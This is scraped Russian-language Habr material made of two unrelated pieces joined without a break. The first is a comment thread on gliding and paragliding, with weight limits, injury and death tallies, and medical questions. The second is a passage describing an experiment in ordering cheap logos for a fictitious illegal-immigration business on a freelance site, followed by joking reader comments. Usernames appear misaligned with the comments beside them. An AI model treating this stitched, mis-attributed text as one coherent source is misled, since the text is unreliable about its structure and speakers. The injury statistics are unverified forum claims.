Увы. Это далеко не как лего. Это удовольствие тоже на года.
iDen
Хорошая статья, сам давно присматриваюсь к параплану. IT-шникам тоже надо как то отдыхать.
dedsky
Вот вы написали ограничение по весу — 130кг. Это точно верхняя планка? Просто у меня рост 202см и вес 137кг, и если вес скинуть как-то можно, то ноги пилить не дам :)
Genius_A
У каждого параплана есть такое понятие как «вилка весов», самое главное чтобы Ваш полетный вес вписывался в эту вилку. Если Вы его недогружаете, берите с собой в полет воду. Есть купола и для 50 кг, есть купола и для 250 кг (тандемные) и более (паралеты). Более того, перегрузить купол менее опасно чем недогрузить. Перегруженный купол быстрее летит и быстрее снижается. Недогруженный купол = подломы, ассиметричные сложения, срывы потока даже на малых углах. Сам был свидетелем ситуации в Пятигорске на Юце, в 2001 году, когда тяжелый ученик поменялся с легкой ученицей куполами (самовольно). Он то приземлился нормально, правда быстро. А вот она поймала ассиметричный срыв потока на высоте около 20 метров при заходе на посадку и не успев скомпенсироваться, брянулась об землю. Жива конечно осталась, но получила перелом таза.

Длина ног может пригодится при старте в горах где нужно подчас взять oooooочень хороший разбег. Учитывая что днем в горах ветер дует в долину (вниз), бежать приходиться со скоростью ветра + взлетная скорость крыла. самим же полетам, длина ног, не помешает.
leksey
В планер вам будет трудно поместиться. Наверное, стоит таки в сторону параплана смотреть.
VBKesha
Вау, уж чего чего, а такого на хабре не ожидал. Это супер!
pasha_golub
Действительно очень хорошо расписано, особенно в купе с комментариями. Побольше бы подобных статей и о других видах спорта.
Rolex
У свободнолетающих:
• 23 компрессионных переломов позвоночников от 1 позвонка до 4-х, из них 5 оскольчатых, 1 один со смещением, 1 с грыжей, 1 не стабильный, 2 перелома остистых отростков позвонков, один перелом крестца и 2 имплантата + 1 операция. Итого: 23 случай травмирования позвоночника, не считая ушибов + 2 подозрение (человек не подтвердил перелом, но все симптомы и слухи налицо);
• 9 переломов рук, из них 2 со смещением, 2 оскольчатый и 2 множественный, 1 с суставами;
• 21 переломов ног (от пяток и до шейки бедра), из них: 7 открытых, 5 оскольчатых и 3 со смещением, среди них множественные и сразу на двух ногах, с операциями и аппаратами Илизарова;
• 4 перелома таза, из них: 2 сложных множественных, 1 разрыв хряща скрепляющего лобковые кости;
• 3 черепно-мозговые травмы (сотрясения), из них 1 с амнезией, не считая перелома основания черепа, повлёкшего смерть;
• 3 случай перелома рёбер;
• 1 сильные термические ожоги от удара электротоком — 35% кожного покрова;
• 22 случаев различных травм, не связанных с переломами костей, из них: 3 множественных разрывов связок, 4 травмы менисков, 2 рваные раны, 1 сильный ушиб позвоночника, 1 ушиб копчика, 1 сильный ушиб всего тела и внутренних органов с осложнениями;
• 12 летальных исходов!..

У парамотористов:
•1 погибший;
• 1 сложный оскольчатый компрессионный перелом 5-го поясничного и соседних позвонков (2 операции, в спине железо, спустя год ни бегает ни завязывает шнурки);
•1 вбитый(вколоченный) перелом предплечья;
•1 сложные и множественные переломы берцовых костей обеих ног и ступней со смещением;
•1 ушибы мягких тканей и позвоночника;
•1 – травмы – пилот не подтвердил какие.

Итого: 98 случаев травматизма у свободников (из них 12 смертей) и 6 у мотористов (среди них 1 смерть). — И это всего за 14 месяцев!!!

Источник

Я сам парашютист и тоже битый. Практически у всех парапланеристов кого я лично знаю были травмы различной степени тяжести.
Genius_A
Передумал, убрал.
dlinyj
Наверное, стоит смотреть на такую статистику в разрезе кол-ва взлетов или налетанных часов. А то если такую же статистику по автомобилям открыть, то вообще страшно будет.

Кстати, у планеристов Украины показатель ущерба здоровью за аналогичный период равен нулю.
Так что, планер выгляди существенно безопасней в таком разрезе.
Remasik
Мама одного талантливого российского пилота, погибшего на этапе Кубка Мира :(, собирала статистику опросом пилотов из топ-150 фаишного рейтинга (не все ответили), плюс ещё немного не входящих в него с налётом более 100 часов и опытом более 5 лет.

3.1. Общая статистика
— среднее количество травм на количество опрошенных- 1,26
— средний налет респондентов — 530 часов
— средний налет на 1 травму -419 часов;
— среднее отношение количества предпосылок к количеству травм — 1,7;
— средний налет на травму либо предпосылку 156 часов;
— количество пилотов, летающих без травм — 25%;
— количество тяжелых травм — 26,7%;
— количество пилотов, имевших тяжелые травмы 26%.

Смертельные случаи не учитывались.

У вас есть статистика по автомобилям с вероятностью травмирования 75%?
Причём статистика эта по долго летающим пилотам. Большинство же травм случается в самом начале возможной карьеры пилота и подавляющее большинство людей, сломав раз ногу (не говоря о позвоночнике), бросают это занятие. Так что реальность куда суровее. С автомобилями вы можете сравнивать планёры. Более мелкие СЛА сравнивать можно разве что с мотоциклами — в какой-то мере будет более-менее адекватное сравнение.

Вы на планёре стартуете с подготовленного аэродрома, летаете немного вокруг, садитесь на него же. Типичные высоты ваших полётов — где-то под облаками. Метеообеспечение вам готовит аэродром, в случае ухудшения уловия вас посадят…
Вы совершенно необоснованно экстраполируете ваш тепличный опыт на прочие категории СЛА. Там всё очень сильно по-другому. Особенно, когда выходишь за рамки первичного обучения. В горах довольно большая часть полёта происходит возле рельефа. От сложного до очень сложного. Вы когда-нибудь выживали в термодинамике вплотную к скальной стене, взбираясь вдоль неё до вершинки с которой как с горячей сковородки срываются злые пузыри размером с размах вашего крыла, которые сначала налаживают вам жёсткого пенделя, а потом пытаются сложить? :) Ну, а мы так регулярно летаем :) :). Зато какой кайф после 40-минутного расколбаса без права на ошибку, допрыгать таки по пузырям до стабильного потока и выкрутить выше снеговых вершин!.. :)
Psychonavt
Вы на планёре стартуете с подготовленного аэродрома, летаете немного вокруг, садитесь на него же
Это если все прошло как запланировал. Сесть вне аэродрома — это штатное событие.

«летать вокруг аэродрома» — у нас, при наличии допуска на маршруты, в радиусе 50км — без проблем. Если есть опыт, то и на 100км удаляемся.

Метеообеспечение обычно мы сами оцениваем и докладываем на аэродром. Если кто то фиксирует бурное развитие, то могут дать комманду всем приблизиться к аэродрому и быть готовыми к посадке. Т.е. сами себе метеослужба.

Летать под облаками — это в идеале. На соревенованиях приходится и на 600м идти дальше по маршруту в поисках потока. Самые опытные джедаи и на 300м идут дальше, если видят пригодное поле.

Полеты в горах на планерах существуют всегда. Только они также очень четко регламентированы и в случае потери высоты ты обязан приземляться на определенную в инструкции площадку. Мы не летаем «без права на ошибку».
Вот то что вы описываете и есть экстрим. Загонять себя в опасную ситуацию и потом геройски из нее выходить.
Iv8
>Вот то что вы описываете и есть экстрим. Загонять себя в опасную ситуацию и потом геройски из нее выходить.

Это не экстрим. Экстрим — это когда страшно. Когда страшно, надо идти на посадку. Это тяжёлая и опасная работа, да. Тем и интересная. Не страхом, нет. Скорее, преодолением себя. Через 30 минут непрерывной колбасни с чередующимися перегрузками и невесомостями хочется всё бросить, улететь вниз и вообще никогда больше не залазить в подвеску :). Нет проблем — вот посадка, там тенистые деревца, зелёный лужок и, если повезёт, магазинчик с холодным пивом :). Но с каждым галсом ты чуть-чуть выбираешься наверх! Чертовски трудно, нельзя терять контроль ни на долю секунды, но шанс ещё есть. Ещё десяток минут напряжённой работы и, уря, ввинчиваешься в поток и уходишь под облако! Оно стОило того. Немного отдыхаешь в переходе и через 3-5-10 км всё по новой :).

Это не загон в опасную ситуацию — мы говорим о сликом разных типах ЛА. Ваше «и на 600м приходится идти по маршруту» для нас означает — «600 м? да выстоты ещё дохрена»! Несмотря на то, что вы с 600м улетите на 15-30 км, а мы дай бог на 5. Поэтому нам просто необходимо цепляться за любое качнувшее крыло возмущение воздуха… И мы вынуждены летать рядом с рельефом. Не всегда, но часто.

У нас тут ребята летом сделали маршрутик с масимальной высотой набора 200-300 метров! Не большой, но сложнейший.
Genius_A
«Это тяжёлая и опасная работа, да.» — если она опасная — значит это экстрим. А страх — это или от неуверенности, или от незнания, или трезвое понимание риска. Если страшно в полете — нужно или учиться больше или тренироваться делать то, что не страшно.

Не в цифрах дело. Для нас 600м, для вас это 200м. Мы вообще часто не стоим в потоках, а летим дельфином. Мы не нарушаем(стараемся) безопасных параметров полета.
Бывает, опускаемся на высоту на которой нам уже опасно находится и все еще крутимся в плюс нолике ожидая пузыря. Но делаем это только четко видя площадку куда будем садиться и на каждой спирали просматриваем ее. Обычно это страшно т.к. риск не разглядеть большой камень или канаву присутствует.

Что то мы ролями поменялись. =)
dime
Ну, не знаю. По-моему, экстрим — это занятие некоторым видом деятельности исключительно ради выработки доз адреналина. Лично я и большинство XC-пилотов летают не для этого и не за этим. Поэтому я (и некоторые собратья) предпочитают не определять нашу деятельность как экстремальную. В том числе, чтобы отсеять тех, кто приходит «за экстримом». Если в полёте случилось что-то, что можно отнести к экстриму, значит что-то было сделано не так.

С другой стороны, есть акробатические дисциплины. Вот там, наверное, экстрима в полной мере. Но я в акро теме слаб, чтобы рассуждать предметно.

А так, мы тоже стараемся не нарушать безопасных параметров полёта. Но просто вынуждены действовать в обстановке, когда приходится идти по самому краю.
Genius_A
Знаешь у меня складывается такое ощущение, что ты вообще не в курсе. !!!
dime
Я же указал, что за аналогичный период. Этот случай вне данного временного интервала. Интервал происшествий с планерами на Украине — около 3-х лет.
Genius_A
так оно того стоит или нет? ))
dime
Попробуйте — оцените сами. Полет в тандеме не требует от вас вникать в управление.
Psychonavt
Кстати, а кто-нибудь может рассказать про автожиры(гиропланы)? Всегда интересно было.
Genius_A
Я лично на них не летал, а копипастить с википедии не хочу. Если кто то в комментах всплывет, возьму у него информацию.
Dyo
А что именно интересно. Если кратко, дорого, сложно, экзотично.
Genius_A
Про автожиры было бы интересно, все таки девайсы более технологичные!
Ronin
Эх, уже почти родной Коктебель… Всегда радует вывеска на въезде в поселок. Панорама начинается как раз с вида на г.Клементьева — легендарное во всех смыслах место, без натяжки можно сказать, что именно с этих склонов человек шагнул в космос!
Genius_A
Респект за статью.

Про парапланы:
Да летают они нормально и против ветра тоже — да не сравнить с планером, но если надо куда-то долететь, то почему нет.
Ну и сложения на парапланах это скорее не минус, а плюс — там где планер сломает, параплан да сложится, но и разложится потом.
leksey
А в какой ситуации планер может сломаться а параплан сложиться?
Fafnir
сильная турбулентность в роторе или в грозе
KEKSOV
В трезвом уме планерист не полезет в ротор, а если полезет, то шанс уйти из него намного выше т.к. до 150км/ч ему разогнаться можно за 4-10 секунд. Я не знаю про случаи поломки планеров от в воздухе от погодных условий. От неумелых действий — знаю, от погоды — нет.
DmitryLoki
Уж лучше я по воде покатаюсь…
Genius_A
А как же винтокрылые собратья? Дирижабли и воздушные шары?
DmitryLoki
Про моторные типы будет в следующей статье. Про дирижабли ничего сказать не могу т.к. даже лично не видел их. Про воздушные шары могу написать, но пока не считаю нужным.
Genius_A
Раздел про тепловые аэростаты вполне подошёл бы к этой статье. Слабая, по сравнению с описанными аппаратами, управляемость и скорость шарика компенсируется своеобразием ощущений и — в общем случае — безопасностью. Не так мало людей, которым хочется посмотреть на мир сверху без гудения моторов, но при этом не хочется чувствовать «ветер в харю» и ощущать себя подвешенным за штаны к тряпочке или рамке. Воздушный шар как раз для них.
megaweber
Воздушный шар — это не паритель. Набирает высоту он, все таки, с помощью собственного двигателя(горелки). Если и включу его в статью, то только в моторные ЛА.
Catarga
Крым, Коктебель, гора Клементьева
Планер бланик
Метр затяжки высоты $1

vimeo.com/41484691

Очень затягивает
Genius_A
Там с лебедки можно полетать. Собственно единственное место на Украине где это еще существует.
Sandtod
Уж не тот ли это бланик-кинозвезда? Который «построил» Королёв.
Genius_A
кайт серфинг — рекомендую
watman
Тоже можно летать, только низехонько-низехонько…
Genius_A
можно добавить третий — люди ошибаются.
leksey
Воистину. Я и забыл, что человек — тоже несовершенное устройство и тоже может оказаться слабым местом.
Впрочем, то, что несмотря на всё вышеперечисленное и многочисленные трагические события, люди пытаются притвориться летающими и совершают такие глупости, как отрыв от земли на высоту более своего роста, подтверждает ваш тезис.
Chikey
Это не полет. Нельзя набрать высоту. Обсуждалось выше. Я не буду это освещать т.к. занимаюсь только полетами.
Genius_A
А на сколько можно приподняться? Всё мучает вопрос — может ли виндсьютер полностью погасить вертикальную скорость «нырнув вверх»? Знакомый парашютист, с небольшим опытом виндсьюта, говорит, что скорее всего не получится просто физически — ибо это очень не просто, давление и т.д.
m0Ray
Больше скажу.
Сразу после выхода из самолета можно взлететь чуть повыше самоля.
Но недолго.
Сам в винге летал, но пока мало.
Genius_A
1) Летят исключительно вниз.
2) Без костюмчика слабо? А это тоже техника. А она… см. выше
3) Для полноты картины не хватает кадров, на которых горе-летуны врезаются в камни от случайного порыва ветра или ошибки (да, я люблю смотреть на кровькишкимесивохардкор, такой уж я извращенец) или шлёпаются на задницу при неудачном приземлении.
m0Ray
если вы внимательно смотрели этот ролик то там есть кадры на которых летуны врезаются в камни собирают волю в кулак выравнивают тело открывают парашют, садятся с кучей переломов и выживают. А никто и не говорит что это всё безопасно — но волков боятся леса не увидишь. Вспомните Гагарина. Только не называйте их горе-летунами — вы ничего про них не знаете — ни статистики смертности ни ощущений НИЧЕГО.
multik
1) Придумать себе приключения на задницу
2) Героически выжить в них
3) Выложить на ютуб.
4) PROFIT!

Премия Дарвина как раз для таких.

З.Ы. Правда, второй пункт не у всех получается…
Genius_A
не путайте премию Дарвина с премией Гагрина
multik
и не говорите о том чего не знаете, может быть вы не любите музыку Баха или Гендаля — но не надо о ней спорить. Просто не надо.
faiwer
Музыка Баха не убивает. В отличие от собственной глупости и неразумной жажды приключений. Вот уж воистину, спорить-то не о чем.
skygad
Космонавты глупы?
m0Ray
Риск и несомненный ущерб здоровью космонавта хоть немного оправдан. Должен заметить, моё личное мнение — человеку нечего делать в космосе, но объективная польза человечеству от работы космонавтов всё же есть, и я не могу этого отрицать.
Какую пользу человечеству приносят переломанные летуны?
multik
BASE прыжок был совершён ранее чем обычный парашютный прыжок с летательного аппарата — а пользу они приносят такую что тестируют технику на надёжность — не было бы парашютистов — не было бы парашютов, катапульты у пилотов и прочее прочее прочее…
m0Ray
Фильм о планерном чемпионате. Приводятся некоторые технические детали организации трансляции.

multik
Вот еще для планерного ликбеза ролик. Очень динамичный и информативный.

Нужно потратить 5 минут и почти все узнаете о планеризме. И поймете, что вы тоже можете.

multik
Пилоты — парапланеристы, а что у вас в профиле на хабре стоит? как вас найти тут?
habrahabr.ru/search/?target_type=users&order_by=relevance&q=%D0%BF%D0%B0%D1%80%D0%B0%D0%BF%D0%BB%D0%B0%D0%BD
только 4-ре, а по результатам голосования, значительно больше.
m0Ray
Меня впечатлило реактивное крыло, работает на керосине:



Взлетать стоя (как ракета), приземляться на парашюте. Вес 55 кг.
Скорость 200 км/ч, дальность 40 км. Крылья складываются.
multik
Его я освещать не буду. Штука интересная, но недоступная.
m0Ray
Не умеет оно летать вертикатьно.
Тяговооружонности не хватает. Горизонтальный полет ОК.
multik
про параплан

>Взлет только с горы или с помощью буксировки. Взлетать самостоятельно с равнины невозможно.

В только что вышедшем фильме «Доспехи Бога» герой Джеки Чана взлетает с разбега.
multik
На то он и Джеки Чан =)
HangGlider
три дня назад прочёл статью, до сих пор ни о чём кроме планеров не могу думать.
Это лечится? Помогите, у меня послезавтра собеседование!
leksey
Соболезную.
Я сейчас вторую статью выпускаю, так что не стоит идти на собеседование.
Приходите к нам в клуб(Киев) сейчас можно бесплатно мыть планера. =)
Shalnov
А какие-то специфические медицинские требования есть (например, для полетов на планерах)?
Особенно по зрению интересует (у меня -7, что вообще очень много, но около -4-5 у колег часто встречается).
robux
руки, ноги, голова согласно изначально комплектации.
Зрение до -5.
Но на самом деле все это решается.
Начать летать можно и без этого.
Genius_A
Машиной можете управлять?
skygad
Могу, нужно только обязательно в очках водить.
Но в авиации, как я думаю, требования жестче должны быть + формальная медкомиссия.
Liza25
Вам летать или медкомиссию хочется пройти? Определитесь.

Почему водить можно, а летать в очках нельзя.
Также можно. Люди летают в линзах (так удобнее и безопаснее) и не волнуются от медкомиссиях.

Я конечно не врач и -7 мне мало о чем говорит, могу дать контакты человека который по вопросам зрения и ВЛЭКа может проконсультировать.

Вот вам доктор, который до кучи сам летает — можете его помучать volantrabbit.livejournal.com/
Genius_A
Как проходится медкомиссия, я представляю ;) Другой вопрос, что ограничения могут быть не просто формальными, а обоснованные реальными угрозами.

За ссылку благодарю, если надумаю – напишу.
pikko
Ну если реальными, тогда да. Тут надо взвешенного подходить. Посоветуйтесь со Стасом.
Genius_A
Судя по тому, что вы из Киева, то проходить медицину вам в Жулянах.
Реальность этих угроз обычно оценивает тот, кто с вами летает и вы сами.
Так что, стоит таки полетать и пообщаться с пилотами для начала.
dfn
Стас, к которому я человеку предложил обратиться — сам летает и до кучи врач-офтальмолог.
Genius_A
Дык, он то в России летает.
А комиссию у нас проходить.
leksey
Да, с Киева, так что если надумаю – то точно вам черкну пару строк :)

Так что, стоит таки полетать и пообщаться с пилотами для начала.

Вы о том, что для теста можно полетать просто так (в планере с инструктором)?
dfn
Конечно.
Никаких комиссий не нужно для этого приходить.
Позвонили мне, выразили свое необузданное желание, приехали, послушали халявную экскурсию по аэродрому и покатались.
leksey
Если решитесь летать — обращайтесь.
А комиссия, это дело решаемое.
У меня знакомый сейчас при -7 получает документы на самолет, значит медицину прошел.
Мне всегда было интересно поставить себя на место заказчика, который хочет очень дешёво и очень быстро. Что мешает провести эксперимент?

Иду на free-lance.ru — самое крупное сообщество фрилансеров. Регистрируюсь таким образом, что остаюсь фактически анонимным. Далее составляю объявление для публикации:

Нужен к завтрашнему дню логотип для центра нелегальной иммиграции. Никакой другой информации, кроме названия нет. Название: Транскордонсервис. Присылайте варианты с номером WMR по адресу xxx@xxx.xx. Оплата по факту принятого варианта. Логотип нужен очень срочно!!!!!

На мой взгляд слишком красиво для ошпаренного кипятком клиента. Для аутентичности я бы набил всё капсом, без знаков препинания и с ошибкам. Впрочем, не будем переигрывать.

Определяю бюджет: 108 рублей (3 доллара США).

Перед публикацией объявления администрация ресурса предлагает платное размещение за 85 баксов. Якобы, «чтобы Ваш проект увидели те, кого Вы ищете». Для чистоты эксперимента, отказываюсь от этого заманчивого предложения. Хотя шутка получилась бы отличная: потратить на размещение объявления в 30 раз больше, чем на разработку.

Объявление размещено в ленте. Можно пойти попить чаю, но какая-то внутренняя сила заставляет обновить страницу. И… о ужас! Объявления уже нет. Удалено. Неужели бюджет слишком маленький? Неужели модератор дал отпор бессовестному скряге? Даю слабину и увеличиваю бюджет до 150 рублей (чуть больше 4 долларов США). Размещаю заново.

Объявление второй раз в ленте. Уже не до чая. Нервно щелкаю «Обновить». Есть ответ! Кто-то готов работать, но через секунду объявление опять убивается. Что ж такое? Неужели смущает род деятельности компании? Может, противоречит законодательству? «И в третий раз старик закинул невод»… а также написал гневное письмо в службу поддержки с просьбой пояснить поведение модератора.

Объявление в третий раз всплывает в ленте и снова удаляется. Похоже, эксперимент провалился, так и не начавшись. Но нет! Зерно упало на благодатную почву.

Через 34 минуты после публикации объявления в почтовый ящик сваливается первый вариант логотипа. Логотип тут же утверждается без правок и оплачивается.



Через 44 минуты после публикации объявления в почтовый ящик сваливается второй вариант логотипа. Логотип утверждён без правок и оплачен.



Приходит ответ от администрации ресурса на мой гневный запрос:

Конкурсы можно размещать только в определенном — платном разделе. Стоимость организации конкурса — 85FM.

Нет, не волнуют администрацию ресурса законодательство, этика и бессовестная эксплуатация дешёвой рабочей силы. Её волнует, как бы клиент мимо платных сервисов не проскочил.

Через 1 час 20 минут в почтовый ящик падает ещё четыре варианта логотипа. Дизайнер не согласился отдать все четыре по цене одного. Пришлось выбрать один вариант. Утверждён без правок, оплачен.



Наконец, на следующий день прислали ещё один вариант логотипа. Утверждён без правок, оплачен.



Результат


Опубликованное 3 раза объявление находилось в ленте в общей сложности около 5 минут (по 1—1,5 минуты за раз). Несмотря на отказ воспользоваться платным сервисом, в течении этого короткого времени объявление «увидели те, кого искал» вымышленный заказчик.

При бюджете 150 рублей получено 7 вариантов логотипа от 4 дизайнеров. Первый вариант был сделан за полчаса. 2 варианта были сделаны за 45 минут. 6 вариантов были сделаны меньше чем за 2 часа. Все варианты были сделаны без предоплаты и без каких-либо документально зафиксированных гарантий оплаты по факту выполненных работ. Исполнитель не знал даже настоящего имени заказчика. Дизайнеры готовы были работать без технического задания, зная только название и несуществующий род деятельности.

Upd: Лого номер один (зверь в каске) является коллажем из клипартовских изображений для программы CorelDraw
TMC
Первый жжот конкретно!
iTYR
Я не могу оторваться! Мне хочется смотреть и смотреть на него!
steff
Че-то канадцев из южного парка напоминает :)
realduke
Мне почему-то Тимати напомнило, толи он на обезьяну похож, толи с ним обезьяна была!
realduke
а пырицца то как…
Digital_evil
Дайте мыло дизайнера, хочу тоже лого у него заказать
cream_brule
Особенно заинтриговал тип разъема вместо рта. Похож на разъем питания на материнской плате, только контактов вроде поменьше :)
maxshopen
еще dvi напоминает))
kompot
не знаю почему но мне это существо кажется похожим на Лебедева.
BisnoyZakat
Я сначала и подумал, что Лебедева рисовали, потом сообразил :)
catbegemot
Помойму это COM порт))
bSun
Это — маска доктора Лектора!!!
Corsa
А теперь, дорогие хабравчане, признаемся чья работа.
valmonnel
Да, занятно =) Первого апреля можно вместо логотипа хабра ставить )
Unknown007
он наверно офигел когда ему деньги за «ЭТО» пришли))
MadGreen
Удивляться скорее должны авторы остальных унылых логотипов. А первый — очень даже хорош.
my_own_parasite
Вам долго прийдется объяснять партнерам, какое отношение имеет ваша компания к этому мутанту, это же какой-то ледянящий душу ппц!


рецензировал
Артемий Лебедев

Но по-моему, очень харизматично.
Спасибо автору за это небольшое исследование, получил заряд позитива :)
alximik
получилось что удивились все)) и авторы и заказчик и хабр))
MadGreen
Автор тоже с чувством юмора! Или может быть это просто меценат для бедных студентов в кризис? — побольше бы таких :)
linderox
побольше бы таких которые заказывают лого за 100р?
dais
… Так-то вообще охренительное лого, шрифт правда не канает, к нему ещё стиль нормальный привязать и в путь ...))…
kopch
1-й логотип пырится как Дэвид Блэйн, сейчас будет происходить особая магия
arbenin
almalexa
Тогда уж и подпись надо отредактировать: Центр особой уличной магии
tafe
Любой каприз :P
almalexa
— Нарисуйте последний логотип и я дам вам 100$
sol_linux

Да мне собственно не жалко
almalexa
Да, это эти ребята
cream_brule
во так наверно изначально задумывалось
arbenin
Блин. Аж чай от смеха разлил :) жОстко. :)
KMiNT21
За первый и денег то не жалко, чисто за позитив)))
DVORYN
Под кат и поехали обсуждать :)
Классные логотипы, классный эксперимент!
Говорит, на самом деле, о многом.
Одно дело рассуждать о кризисе, фрилансерах и прочем, другое дело показать на практике, как обстоят дела в этой сфере.
Спасибо за заметку.
null
логотипы, и правда, класные. особенно последний. где-то 7- или 8-классный.
nicothin
Да уж. Вы бы премию выписали первому. Человек с юмором =))

А вообще на searchengines вам за пять долларов и сайт нарисуют с логотипом и сверстают и контентом наполнят. Правда, качество там будет соответствующее…
TsarS
Думается, речь идет про это forum.searchengines.ru. Хотя ресурс, собственно, не профильный.
zvezdnii
Это понятно. Я про топик, где за 5 долларов сайт сделают? А то есть несколько доменов, на которые надо бы что-то повесить на время.
RusPutin
Идите на тот же free-lance.ru. Только пост не оформляйте в виде конкурса. Просто напишите, что мол, надо за 5 баксов сделать простенькую заглушку и свертать. Отклики разгребать долго будете.
zvezdnii
За первый точно бы заплатил :) Рот на какой-то разъем похож и видимо у него сыпь
RusPutin
это микроотверстия для всасывания микробабла за работу.
zvezdnii
Микробабла за микроработу
Alien
Помимо первого порадовал и третий с ошибкой :)
nicothin
вижу ошибку в последнем, а в третьем — ну никак :)
ttone
ну да да в последнем, четвертый он, все смешалось люди, кони :)
catbegemot
Центр нелетальной эмиграции?
Marshalkin
Нет, имМиграции с одной М.
cybd
Так и должно быть. Есть задача — есть быстрый результат без волокиты.
В студии самизнаетекого за такой логотип содрали бы в сотни раз больше. И ведь не факт, что сделали бы лучше ;)
Marshalkin
лучше чем первый сделать уже невозможно
pudovkin
А сарказм так и не поняли ).
Marshalkin
Действительно:) Куда уж лучше-то?:)
Gex_Photographer
Ндааа, вот к чему приводит демпинг =)
Даже таксисты умеются договариваться об уровне цен — у нас в городе ни одна машина даже не сдвинется с места за цену меньше 70р.

И все было бы смешно, если бы не было так грустно.
nooze
Упаси Господи, можно нарваться на подобное — www.templatesbox.com/premium-templates/logo-templates/template58.htm
Gex_Photographer
почему-то кажется что в первой пикче только нижняя часть уникальная, те по заказу ;) остальное быстрый сбор
Rihtor
А теперь в бизнес-линч это всё запостить, с ссылкой на этот пост. Очень интересно!
Gex_Photographer
поддерживаю!
almalexa
отправил) ждем линча…
Gex_Photographer
Вы не рассмотрели вопрос с другой стороны: все эти логотипы (ну, кроме первого) были стырены с зарубежных сайтов, и переделаны «чтоб хоть как-то подходить под транскордон». То бишь — им не жалко ТАКОЙ работы за ТАКИЕ деньги.
webscout
Я этот логотип даже сохраню, в назидание потомкам. Эдакий сплав кубанского арбуза и строительной каски. Эксперимент, однозначно удался.
olegkrasnov
За последний платить не стоило ибо сутки делать такое убожество может только школьник.
dustik
А мне вот интересно: последний, несомненно, фиговый логотип, специальное сделан с ошибкой (с целью гарантии получения денег) или все же правда школьник?
zloe_zlo
читается как: «Центр нелетальной имиграции»©
almaz
Кстати, и это тоже :)
almaz
Артемий, вы?
Over
а говорят работа он-лайн это выгодно
если даже рисовать 8 часов по 2 лого в час это в день 16*4=64, в месяц ~1250 при очень успешном раскладе
мне кажется переизбыток предложения при малом спросе наблюдается
zloe_zlo
Не так: если собирать из шаблонов по 2 лого в минуту — получается очень выгодно.
futurigor
Ну какое-то время у вас на переписку уйдёт в любом случае даже если на создание самого лого никакого времени не нужно. Вряд ли удастся договориться за минуту с двумя заказчиками…
ooprizrakoo
Вас обманули, 50 вечнозелёных бумажек — от отнюдь не половина цены за *профессиональную* разработку логотипа. Даже у фрилансера. Ну, может, процентов 5 ;)
the_thee_mind
Увы, количество не равно качеству. За 50 долларов (и даже 100) хороший дизайнер не нарисует хорошее лого — которое будет работать, а не просто радовать глаз заказчика. Даже если он индус :))
jeje
Индус — это в смысле хороший дизайнер из бедной страны :)
oYASo
Ага-ага, чо тут думать — трясти надо =)

Хороший дизайнер перед тем как открывать иллюстратор и рисовать некий образ, будет много времени думать (может, несколько дней, может — недель) и изрисует десятки листов бумаги в поисках *работающей* идеи. Идеи, которая поможет вам с бизнесом (и с лёгкостью окупит тысячу-другую долларов, потраченных на неё), а не просто усладит Ваш глаз.
the_thee_mind
Отличный кризисный план! Осталось добавить задание «супер мега сайт, оплата 10wmz» :D
oYASo
Ставится друпал или joomla, настраивается через встроенную админку и супермегасайт готов.
sse
Попробую заказать вот так вёрстку )) бюджеты ведь урезают
Kazabon
А логотипы то неплохие! :) запоминающиеся и с иронией! Воспользуюсь!
samlowry
будь проклята ваша нелегальная конторка))))))
khim
Есть анекдот такой (на тему этого эксперимента):
Во время бала Ржевский выходит на балкон весь задумчивый и нервный. К нему подходит молодой корнет:
— Поручик! Что с вами? Вы бледны!
— Я только что засунул руку под платье Наташе Ростовой…
— И?
— Корнет, вы когда-нибудь кормили с руки голодную лошадь?

Прошу прощения у господ дизайнеров, ничего личного
astroverse
Анекдот хороший, но причем тут дизайнеры!
sunalex
Вам лучше не знать… )
astroverse
У автора первого лого огромный талант :)
sunalex
эх, когда-то на фрилансе были хорошие заказы и опытные исполнители, такие что даже соваться страшно было…
sunalex
Туда и сейчас страшно. Просто стало «чуть» больше новичков. Профессионалы до сих пор не перевелись, но как правило количество «экономных» заказчиков больше умных, вот и плодится такое уродство.
leonnash
Можно контакты первого дизайнера хотя бы в личку?
sunalex
Какой ужас, неужели все настолько плохо. Бедные, бедные фриланцеры. Вот и рассуждай потом о «не работай на дядю». Кстати, два из четырех логотипов мне вполне понравились. Интересно, за какую минимальную сумму можно заказать дизайн сайта. Может скинемся всем хабром и проведем еще один эксперимент? :)
wersoo
«Скидываясь всем хабром» можно проводить эксперименты по покупке небольших компаний ;)
LDEV
Антикризисный хабраэффект?
HighwayStar
Давайте тогда купим одноклассников и будем проводить еще более интересные эксперименты ;)
LDEV
О да, там всё стерпят, судя по всему ;)
Alexlexandr
Мммм… Владеть клубом садо-мазо очень даже интересно :)
sibulba
прочитав это сообщение за хабр взяла гордость :-)
Patricy
Отправьте на проку Лебедеву :)
drapox
Вы сделали мой день.
nicothin
я покупаю первый логотип за 10$
Rihtor
Учтите (и кстати в ответ на всё восхищённые отзывы): этот лого не авторская работа, а коллаж из общедостудоступных клипартовских изображений (для программы Corel Draw).
Если очень надо — пишите в личку.
Stark
если первое лого — реально клипарт из Corel Draw, об этом наверное стоит в статье упомянуть.
kellas
Но тут же главное настроение в работе и мысль!
kolyuchii
Фи ))
pixxxel
Мне понравился третий. Если не тыренный, то чувак офигенно разбазаривает свои скиллы на трехбаксовые работы.
sindrom
Полностью согласен. Мне тоже единственное, что понравилось — это третий!
M_org
несомненно, отличный эксперимент.
его результат можно выразить так: «заказчик! хочешь говнолого недорого? получишь много и, возможно, талантливого» (см. первый вариант).
bSun
Я нелегальный иммигрант — т.е ваша целевая аудитория. Первый вариант мне очень нравится. Можно ли разместить логотип в блоге нелегального иммигранта?
astroverse
Только со ссылкой на статью.
M_org
Первый- супер. Даешь дизайнеру инвайт на хабру :)
marazm
Классный эксперимент :)
И да, мне тоже первый вариант логотипа безумно понравился.
kastaneda
Последний нужно было отдать на доработку, слово иммиграция написано с ошибкой.
odessky
Ну так, школьники на сигареты зарабатывают. А нынче плохо с русским.
micktu
Я так понимаю, что на третьем логотипе у фигурок людей за спиной висят рюкзаки?
pixxxel
Мдя.

Интересно, если запросить логотипы для «клиники нелегальной трансплантации» и «борделя с несовершеннолетней обслугой» — будет столько же ответов от исполнителей и такая же реакция от администрации портала?

Впрочем, вопрос риторический.
:)
lastik
логотипы реально повеселили
а вот действия администрации — отстой…
ну нельзя же так то борзеть…
hemilion
Тот же веблансер, на мой взгляд, вполне себе альтернатива.
dio77
Стопудово. Free-lance.ru-то совсем не юзабельный.
Saer
